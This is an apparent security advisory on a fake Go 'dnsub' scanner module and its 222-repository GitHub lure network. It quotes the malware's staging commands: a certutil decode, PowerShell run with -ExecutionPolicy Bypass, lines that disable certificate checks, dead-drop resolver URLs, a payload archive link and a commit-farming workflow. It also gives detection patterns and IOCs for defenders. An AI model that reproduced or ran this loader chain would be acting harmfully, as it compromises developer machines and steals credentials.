Malicious Go command module stages PowerShell loader and links to a 222-repository GitHub lure network

CVE

Not assigned

CWE

CWE-506, CWE-494, CWE-829

Affected Surface

• The malicious Go command module `github.com/kaleidora/dnsub-scanning-tool`, including the 700-plus malicious pseudo-versions and 1,200-plus total versions described in public reporting before the Go proxy block
• Developer workstations and CI hosts where users cloned, built, or especially executed the fake `dnsub` scanner on Windows and allowed staged downloads from `muckcoding[.]com` and related dead-drop infrastructure
• Organizations whose users cloned or ran projects from the 222 confirmed Operation Muck and Load repositories across 190 GitHub accounts
• Internal Go mirrors, source caches, and artifact stores that retained the module or adjacent lure repositories after upstream takedown and proxy blocking

The newest supply-chain story worth adding from the last 72 hours is not another npm postinstall worm. It is a fake Go command module that looks like a developer utility, plus the much larger GitHub reputation farm built around it. Socket’s 8 July 2026 writeup starts with github.com/kaleidora/dnsub-scanning-tool, a supposed DNS and subdomain scanner, and then pivots outward into what it calls Operation Muck and Load: 222 confirmed repositories across 190 GitHub accounts that were engineered to look active, plausible, and recently maintained.

The technical distinction matters. This is not primarily a transitive-library-import story. dnsub-scanning-tool is a command-style Go module with a main() entrypoint. The dangerous moment is when a user clones, runs, or follows setup steps from a fake tool or one of its adjacent lure repositories. That still squarely impacts AppSec, because developer machines, CI workers, and source-code discovery workflows are the trust boundary being abused.

Publicly confirmed affected projects and infrastructure

The public reporting supports a fairly precise affected-project list:

Scope	Publicly confirmed artifact	Why it matters
Malicious Go module	github.com/kaleidora/dnsub-scanning-tool	Posed as a dnsub scanner but embedded a staged Windows loader path
Version surface	1200+ total versions, 700+ malicious versions according to Socket	The huge pseudo-version churn helped the project look active and increased the historical fetch surface
Payload hosting	github.com/tb78/expresso release asset Quixo.7z	Hosted the protected archive pulled by the PowerShell resolver
Confirmed GitHub lure network	222 repositories across 190 accounts	Provided search visibility, synthetic freshness, and alternate execution lures
Overlap signal	repeated ischhfd83@rambler[.]ru workflow metadata	Connects this cluster to older large-scale GitHub backdoor activity also documented by Sophos

The full repository inventory is too large to inline here, but the published appendix is useful because it shows the campaign was not limited to obvious “cheatware” bait. The confirmed list includes wallet, crypto-payment, bot, OTP, quant-trading, finance-dashboard, Discord, and utility-themed projects such as:

• Hexroth/juspay-hyperswitch
• Quivnex/blankly-finance
• dela-99/quant-trading-toolkit
• chalakbilla/React-tutorials
• Qyxlor/StockSharp
• nrevv1lad/Pubg-DESYNC-Menu

That mixture is operationally important. Attackers were not only targeting gamers or overtly shady users; they were also publishing names that fit normal developer curiosity or fintech tooling searches.

The Go module is a fake tool with a Windows staging path in main()

Socket’s analysis is careful on one point that defenders should preserve: the repository appears incomplete as a real scanner, and the malicious behavior sits at the beginning of main(). In practice, the project is better understood as a lure plus loader than as a genuine Go utility.

Normalized from the public analysis, the first-stage execution flow is:

download https://muckcoding[.]com/LG-LW/Api-Certificate
-> save to C:\Users\Public\Pictures\api.db
-> certutil -decode api.db C:\Users\Public\Pictures\L.ps1
-> powershell.exe -ExecutionPolicy Bypass C:\Users\Public\Pictures\L.ps1

The path choices are not random:

• C:\Users\Public\Pictures\ is writable and visually unremarkable
• api.db looks like inert data rather than executable staging
• certutil -decode uses a built-in Windows utility instead of shipping a decoder
• -ExecutionPolicy Bypass makes sense only if the goal is to force untrusted script execution

This is why the module should be treated as malicious even if the surrounding scanner code is broken or incomplete. The repo does not need to be a functional scanner to succeed as a malware lure.

The second stage is a dead-drop resolver, not a fixed payload URL

The decoded L.ps1 stage is more interesting than a simple one-hop downloader. It turns on TLS 1.2 and then deliberately disables certificate validation:

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

That is not normal hardening for a security tool. It is staging logic designed to keep pulling content even when the server certificate is broken, replaced, or intercepted.

Public reverse engineering says the script then recovers encrypted resolver material from several dead-drop sources and looks for the marker string LastW. Confirmed sources include:

https://pastebin[.]com/raw/xy32SJgf
https://rlim[.]com/MicrosoftCur/raw
https://muckdeveloper[.]com/LGTV/MicrosoftCur
https://t[.]me/s/dwmic
https://docs.google[.]com/document/d/.../export?format=txt
https://gitcode[.]com/LastWer/MicrosoftCur/raw

This design is much more resilient than a single hardcoded C2. If one paste or domain disappears, the loader can fall through to another service. If defenders block only the final archive URL, the attacker can rotate the resolver material without republishing the Go module.

The payload handoff is a protected archive in a fake Microsoft path

The resolved archive URL in the public writeup is:

https://github[.]com/tb78/expresso/releases/download/Release/Quixo.7z

The PowerShell stage downloads that archive into C:\Users\Public\Documents\umun\, uses a 7-Zip helper under C:\ProgramData\zipathh\7zrr.exe, and extracts the content into a masqueraded path:

C:\ProgramData\Windows.Microsoft.Photos\current\Microsoft.exe

That choice tells you what the attacker wants from process listings and filesystem review: a generic-looking executable under a Microsoft-shaped directory, plus a password-protected archive that frustrates casual scanning and URL-only triage.

The published analysis ties the later chain to RAT and infostealer behavior, including AsyncRAT, Quasar, Remcos-style activity, screenshot collection, browser-data access, persistence, and further PowerShell-driven host modifications.

The GitHub lure network manufactures trust through commit farming

The bigger lesson is not the single Go module. It is the repository factory surrounding it.

Socket’s strongest clustering signal is a repeated GitHub Actions pattern that writes synthetic commits under the same threat-actor-linked email while changing the visible author name to match each repository owner:

git config --local user.email "ischhfd83@rambler[.]ru"
git config --local user.name "${{ github.repository_owner }}"
git add -A
git commit -m "LOG"

That pattern does not build or test software. It manufactures freshness.

Sophos documented a very similar ischhfd83 pattern in earlier large-scale GitHub backdoor campaigns, where repositories were repeatedly auto-committed to look maintained and legitimate. The new July 2026 Go-module story matters because it shows the same broad tradecraft expanding into a developer-tool and package-discovery context:

1. publish or maintain a plausible repository or module
2. generate constant commit churn so it looks alive
3. lure a user into cloning, building, or running it
4. use living-off-the-land Windows staging plus dead-drop resolution
5. hand off to a protected archive and downstream RAT or stealer

That is a supply-chain problem even though the exact trigger is not a library import hook. The attacker is still poisoning the software acquisition path.

Why the version count matters

The dnsub-scanning-tool package page publicly showed a very large versions surface during the reporting window. Socket’s count of 1200+ total versions with 700+ malicious versions is a clue about how the actor wanted this project to look from the outside: busy, iterative, and alive.

For small Go modules, especially ones pretending to be a narrow scanner utility, that amount of version churn is not healthy release engineering. It is a search and trust signal. The module becomes easier to mistake for an actively maintained tool, and caches or mirrors have more chances to retain one of the malicious states.

This is also where Go’s ecosystem model changes the remediation story. A repository takedown or proxy block does not automatically remove artifacts from:

• internal source mirrors
• artifact stores
• GOMODCACHE
• build caches
• vendored source trees
• historical CI workspaces

If a developer or runner fetched the module before it was blocked, you may still have recoverable copies even if the upstream page now looks different.

Detection and scoping

Start by finding explicit references to the malicious module and the published infrastructure:

rg -n \
  "github\\.com/kaleidora/dnsub-scanning-tool|muckcoding\\.com|muckdeveloper\\.com|LastW|ischhfd83@rambler\\.ru" \
  .

Search cached Go sources and build environments for the staged paths and GitHub release handoff:

rg -n \
  "Api-Certificate|C:\\\\Users\\\\Public\\\\Pictures\\\\api\\.db|C:\\\\Users\\\\Public\\\\Pictures\\\\L\\.ps1|Quixo\\.7z|Windows\\.Microsoft\\.Photos" \
  "$GOMODCACHE" "$GOPATH/pkg/mod" .

If you suspect repository-clone exposure rather than module-cache exposure, search for the commit-farming workflow fingerprint:

rg -n \
  "ischhfd83@rambler\\.ru|github\\.repository_owner|commit -m \"LOG\"|schedule:" \
  .github/workflows

Network telemetry should prioritize:

muckcoding[.]com
muckdeveloper[.]com
pastebin[.]com/raw/xy32SJgf
rlim[.]com/MicrosoftCur/raw
gitcode[.]com/LastWer/MicrosoftCur/raw
github[.]com/tb78/expresso/releases/download/Release/Quixo.7z

For Windows host triage, the combination of certutil, hidden PowerShell, public-document or paste services, and a fake Windows.Microsoft.Photos directory is much higher signal than any one indicator alone.

Response guidance

If a host ran the fake dnsub scanner or executed code from one of the confirmed lure repositories, treat it as a workstation or runner compromise:

1. isolate the affected host
2. preserve cached module source, workflow files, PowerShell scripts, and archive remnants
3. rotate Git, cloud, SSH, registry, and CI credentials reachable from that host
4. rebuild from a clean machine rather than trusting local cleanup
5. block the module path and known lure repositories in dependency and source-admission controls

The deeper lesson is that developers still grant too much trust to “looks active on GitHub” and “exists in the package ecosystem.” Operation Muck and Load exploited exactly that reflex. The module name, the fake scanner story, the version churn, the GitHub Actions noise, and the surrounding repository farm were all there to make one malicious execution step feel ordinary.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

Explore dependency scanning Get Demo

References

• Socket: Malicious Go Module Exposes GitHub Malware Lure Network Spanning 222 Repositories
• Socket IOC appendix: Operation Muck and Load GitHub infrastructure
• Sophos: The strange tale of ischhfd83: When cybercriminals eat their own
• Go Packages: github.com/kaleidora/dnsub-scanning-tool versions
• CWE-506 Embedded Malicious Code
• CWE-494 Download of Code Without Integrity Check
• CWE-829 Inclusion of Functionality from Untrusted Control Sphere